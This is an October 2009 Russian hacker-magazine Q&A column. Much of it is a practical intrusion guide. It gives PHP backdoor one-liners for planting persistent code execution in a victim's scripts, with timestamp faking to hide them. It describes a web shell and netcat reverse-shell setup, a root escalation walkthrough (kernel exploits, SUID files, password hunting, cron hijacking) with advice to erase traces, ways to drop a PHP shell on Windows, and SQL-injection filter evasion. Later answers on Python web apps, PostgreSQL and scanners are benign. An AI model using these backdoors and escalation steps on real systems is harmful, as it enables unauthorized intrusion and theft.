Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 130, ОКТЯБРЬ 2009 г.

FAQ United #10

Маг (icq 884888, http://wap-chat.ru)

Q: Не удовлетворен результатами, которые предлагает сервис www.myipneighbors.com и ему подобные. Подскажи, как еще можно наиболее достоверно узнать, какие сайты хостятся на одном сервере с жертвой?

A: В твоем случае могу посоветовать замечательный сервис http://spyonweb.com, который собирает и структурирует информацию о сайтах из открытых источников.

Собирается такая информация, как: IP адреса, идентификаторы Google Adsense, идентификаторы Google Analytics, идентификаторы Yahoo Publisher Network, идентификаторы Яндекс.Директ.

На основе совпадений IP адреса, рекламных идентификаторов и идентификаторов сервисов статистики и делается вывод о принадлежности группы сайтов одному серверу.

На данный момент сервисом проиндексировано более 107 миллиона доменов, из них: 9 105 180 сайтов с кодом Google Analytics, 4 262 150 сайтов с кодом Google AdSense, 20 406 сайтов с кодом Yahoo Publisher Network, 13 448 - Yandex Direct.

Для проверки любого сайта, просто вбей его адрес в соответствующее окошко.

Также подробнейшую информацию о нужном домене и его соседях тебе предоставит еще один сервис - http://www.robtex.com/dns. Здесь, как видно из URL, поиск происходит на основе информации о dns сайта жертвы.

Q: Возвращаясь к вопросу о протроянивании скриптов. Какие еще способы ты знаешь?

A: Помимо способа, описанного в предыдущем факе (наиболее подходящего для SEO и сокрытия инклудов), существует еще множество способов оставить небольшого и незаметного червячка в скриптах на случай утери доступа/шелла к ним:

<?php
$a($b); //register_globals = On, код выполняется следующим образом: script.php?a=assert&b=phpinfo();
#---#
$new = create_function('$x', "return $_REQUEST[a];");
$new(0); // script.php?a=eval(phpinfo())
#---#
$a=call_user_func($_REQUEST[a],'',$_REQUEST[a]);
$b=call_user_func($a);
echo($b); // script.php?a=create_function&a=return eval($_REQUEST[b]);&b=phpinfo();
#---#
$a=call_user_func($_REQUEST[a],$_REQUEST[b]);
echo($a); // script.php?a=phpinfo&b=-1
#---#
usort ($_REQUEST['a'], $_REQUEST['b']); // script.php?a[]=-1&b=phpinfo
#---#
array_map($_REQUEST[a],$_REQUEST[b]); //script.php?a=-1&b[]=phpinfo
#---#
assert($_REQUEST['a']); //script.php?a=phpinfo();
#---#
ob_start($_REQUEST['a']);
echo $_REQUEST['b'];
ob_end_flush(); // script.php?a=phpinfo&b=-1
#---#
?>

Также, по примеру с usort, array_map и ob_start представляю тебе небольшой список callback-функций, пригодных для заражения:

register_shutdown_function
set_error_handler
call_user_func_array
call_user_method
call_user_method_array
uasort
uksort
array_filter
array_reduce
array_walk
preg_replace_callback
stream_filter_register
xml_set_element_handler
xml_set_default_handler
xml_set_notation_decl_handler
xml_set_character_data_handler
xml_set_end_namespace_decl_handler
xml_set_external_entity_ref_handler
xml_set_start_namespace_decl_handler
xml_set_unparsed_entity_decl_handler
xml_set_processing_instruction_handler
xmlrpc_server_call_method
xmlrpc_server_register_method
xmlrpc_server_register_introspection_callback

В любом случае после протроянивания нужного скрипта не забывай возвращать его дату модификации:

touch -t yearmonthdayhoursminutes.seconds ./script.php

Q: Опиши вкратце наиболее реальные способы получить root на сервере.

A: Первым делом, конечно же, тебе нужен веб-шелл на сервере жертвы, как его получать, я надеюсь, ты знаешь :)
Затем ты вряд ли обойдешься без интерактивного шелла, запустить который, например, можно так:

  1. Заливаем на сайт жертвы r57 шелл от rst;
  2. Ставим на свой windows-дедик netcat (http://www.web-hack.ru/download/download.php?go=100);
  3. Запускаем netcat на прослушивание порта 11457: cmd.exe -> c:/nc/nc.exe -l -p 11457;
  4. В r57 шелле запускаем connect-back (в поле вписывай IP - ip твоего дедика, поле с портом и паролем оставляй дефолтными);
  5. Смотрим на окошко netcat и наслаждаемся шеллом.

Теперь, когда у тебя есть интерактивный шелл на системе, можно попробовать применить ядерные эксплойты:

  1. Первым делом узнаем версию ядра: uname -a;
  2. Узнаем версию и имя дистрибутива: cat /etc/*release*;
  3. Идем на http://milw0rm.com/search.php и ищем нужный нам local root exploit;
  4. Собираем эксплойт: gcc -o exploit exploit.c (зачастую в комментариях в исходниках сплойта могут быть указаны дополнительные флаги для сборки - не пропусти их);
  5. После сборки эксплойта запускаем оный: ./exploit;
  6. В лучшем случае наслаждаемся uid=0, gid=0, в худшем - смотрим дальше.

Если с ядерным эксплойтом не получилось, то:

1. Изучаем список демонов, которые крутятся на сервере

ps -aux - список процессов
which bin_file - смотрим, есть ли определенный бинарник на системе
bin_file --version (или -v) - версия бинарника
ls -la /bin /home /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin - бинарники, присутствующие на системе

2. Идем на milw0rm.com за соответствующим эксплойтом под нужный демон;

3. Собираем, запускаем сплойт и наслаждаемся правами рута/сервиса.

Если не получилось с демоном, то твой дальнейший путь - суидные и гуидные файлы. Итак, суид (от сокращенного setuid) - права на выполнение от имени хозяина, гуид - с правами группы.

1. Ищем такие файлы:

find / -type f -perm -04000 -ls
find / -type f -perm -02000 -ls
locate *.pl|grep suidperl

2. Смотрим, какие из найденных файлов доступны на запись, например:

-rwsrwxrwx 1 root petya 135 Апр 17 18.40 file1.php
-rwsrwxrwx 1 root petya 135 Апр 17 18.40 file1.sh
-rwsrwxrwx 1 root petya 135 Апр 17 18.40 file
-rwxr-sr-x 1 petya root 135 Апр 17 18.40 file2.php
-rwxr-sr-x 1 petya root 135 Апр 17 18.40 file2.sh
-rwxr-sr-x 1 petya root 135 Апр 17 18.40 file2

В данном случае - первые 3 файла доступны на запись и имеют suid бит, то есть ты можешь подсунуть им на выполнение bash/php код от имени юзера root.

Следующие 3 файла - члены группы root. Они недоступны на запись, но все равно можно попробовать подсунуть им свой код, прочитав, что они делают (с помощью манов, либо отследив действия бинарника: strace ./file2, strings ./file2).

Допустим, с суидниками тебе не повезло, тогда твой следующий путь - логи, конфиги и бэкапы, в которых может случайно затеряться какой-нибудь интересный пароль от какой-нибудь учетной записи (например, в .bash_history мне несколько раз встречались неверный попытки ввода пароля длы su и sudo, на основе которых я смог вычислить верный рутовый пароль).

Искать их можно с помощью следующий команд:

locate что-то
find / -type f -name "что-то"

Обычно ищут по следующим шаблонам:

.htaccess
.htpasswd
*history*
*conf*
*backup*

Наконец, если тебе снова не повезло, существует еще один замечательный способ - атака через cron:

  1. Ищем файлы crontab;
  2. Смотрим, какие файлы поставлены на запуск кроном;
  3. Смотрим, доступны ли на запись эти файлы и что они, собственно делаем:
  4. Пытаемся перезаписать их или внедрить в них свои команды.

Все описанные способы - наиболее распространенные для получений root-привилегий на системе, используй их грамотно и никогда не забывай подчищать следы своего пребывания на системе :)

Q: Как залить шелл на винде? Ведь там нет моих любимых wget и curl :'(

A: Для твоего сабжа на винде существует не меньшее количество вариантов, чем в никсах. Смотри некоторые из них:

1. Знакомый тебе по никсам echo

echo ^<? eval($_REQUEST[cmd]); ?^> > shell.php

2. Банальный ftp

>ftp
ftp> open localhost
Connected to localhost
Microsoft FTP
User (x.x.x.x:(none)): x
230 User logged in, proceed.
ftp>get http://site.com/shell.txt

3. Любимый тобой telnet

telnet site.com 80 -f shell.php

GET /shell.txt HTTP/1.1
Accept: */*
Accept-Language: ru
Host: site.com
Proxy-Connection: Keep-Alive

Q: Нашел sql-инъекцию, но злые админы поставили на фильтрацию на пробел. Существуют ли аналоги пробела в sql-запросах?

A: Еще как существуют! Вот наиболее часто применяемые способы для замены пробела:

  1. + или %2B;
  2. табуляция " " или %09;
  3. возврат каретки " " или %0D;
  4. перевод строки %0A;
  5. коментарий /**/
  6. скобки: select(1)from(users)where(id=1)

Q: Слышал, что в MySQL возможно разделение запросов через ";". Расскажи, как это возможно?

A: Действительно, поддержка нескольких запросов в мускул возможна при нескольких условиях:

  1. Версия MySQL >= 4.1;
  2. Для подключения к базе данных используется функция mysql_real_connect() с параметром CLIENT_MULTI_STATEMENTS.

Если на выходе будет несколько результатов, то необходимо использовать параметр CLIENT_MULTI_RESULTS, а переключаться между ними можно с помощью функции mysql_next_result().

Q: Каким образом в командной строке можно работать с PostgreSQL?

A: Очень просто! Для простейшего выполнения SQL-запросов тебе надо залогиниться в интерактивном шелле в клиент psql:

psql -d base -U pg_admin -W pg_admin_password

Дампить базы postgresql можно так:

pg_dump dbname > dbname.sql

Восстановить сохраненную базу так:

cat dbname.sql | psql dbname

В обоих случаях система попросит у тебя пароль.

Q: Благодаря вам я начал писать на Python'е. Простые скрипты, например, для автоматизации подчистки логов я уже легко пишу, но все чаще появяется желание перевести на Python и свои PHP-проекты. Подскажи, как наиболее правильно писать веб-приложения на Python? Как их прикрутить к серверу?

A: Пожалуй, самый простой и во многом один из самых правильных вариантов - использовать хостинг, который поддерживает WSGI (Web Server Gateway Interface). "Викски" - это специальный стандарт взаимодействия между программой на Python, выполняющейся на стороне сервера, и самим веб-сервером, например, Apache. WSGI описывает конкретные правила того, как должны взаимодействоать между собой веб-сервер и веб-приложение. На практике - это просто описание функции вызова приложения абстрактным сервером: формата передаваемых параметров и формата возврата значений этой функции. Приложение, написанное на WSGI, не знает кто его вызвал, т.е. для него абсолютно всё равно, запущен ли он на mod_python под Apache или как FastCGI, или как CGI. Приложение и сервер выделяются в разные абстракции.

Помимо этого стандарт описывает так называемые middleware-компоненты, предоставляющие интерфейсы как приложению, так и серверу. То есть для сервера middleware является приложением, а для приложения — сервером. Это позволяет составлять «цепочки» из WSGI-совместимых middleware, каждая из которых выполняет свою функцию (балансировка нагрузки, обработка сессий, авторизаций и т.д.)

Q: Подскажи, хороший сканнер Bluetooth устройств в эфире. Чем больше он может выдать информации - тем лучше.

A: На самом деле, ничего не стоит написать такой сканнер самому. Пример простого скрипта на Python ты можешь найти в одной из статей Сквозного (www.xakep.ru/magazine/xa/104/030/1.asp). Впрочем, есть намного более проработанный утилиты, например, сканнер Haraldscan (code.google.com/p/haraldscan). Написанный на питоне с использованием библиотеки Pybluez, он быстро выдает MAC-адреса всех находящихся в округе устройств, их тип, а также пытается определить по маку производителя.

Q: Хочу написать сканнер безопасности для элементов, написанных на Flash. Поискал в Интернете и ничего подобного не нашел. Оцените идею.

A: Спору нет, идея хороша, а вот гуглишь ты не ахти. :) С реализацией ты самую малость опаздал, потому что я вспомню как минимум несколько специализированных сканнеров для тех элементов веб-сайтов, которые написанны на Flash. Ребята из HP Web Security Research Group разработали утилиту HP SWFScan (https://h30406.www3.hp.com/campaigns/2009/wwcampaign/1-5TUVE/index.php?key=swf), которая декомпилирует SWF-файлы, извлекает все сценарии на ActionScript, после чего анализирует код в поиске потенциально узявимых мест. Приятно, что помимо непосредственно индикации о проблеме, SWFScan предлагает вариант исправления ошибки.

Q: Есть возможность совершенно бесплатно получить бесплатную виртуальную машину в одном из датацентров. Ресурсы будут сильно ограничены, поэтому вопрос: что вообще с ней можно сделать?

A: Самая большая проблема большинства виртуальных машин - это производительность дисковой подсистемы. Если что-то работает с HDD, то это работает медленно. С другой стороны, если программа не выполняет операции ввода-вывода, то использовать ее, даже в рамках виртуальной машины, можно на полную катушку. Понятно, что ресурсоемкие задачи виртуалке, скорее всего, не потянуть, а вот например работу с сетью - запросто. Например, на одном из моих виртуальных серверов я использую несколько линуксовых утилит для маршрутизации. А на другом - инструмент для баллансировки нагрузки на веб-серверы HAProxy (haproxy.1wt.eu) и средство для мониторинга сетевой активности Cacti (www.cacti.net).

Q: Как сдампить свой трафик, передаваемые по SSL?

A: Тебе поможет утилита SSHole (thekonst.net/ru/sshole). Эта небольшая програмка, которая может пригодиться для отладки протоколов, защищенных с помощью SSL. При запуске она ждет соединения на заданном порту, а затем, при получении входящего соединения от клиента, соединяется с оригинальным сервером и работает прозрачно как прокси. Отличие состоит в том, что весь трафик копируется локально на stdout. SSHole может обрабатывать несколько соединений одновременно.

Содержание
ttfb: 6.6361427307129 ms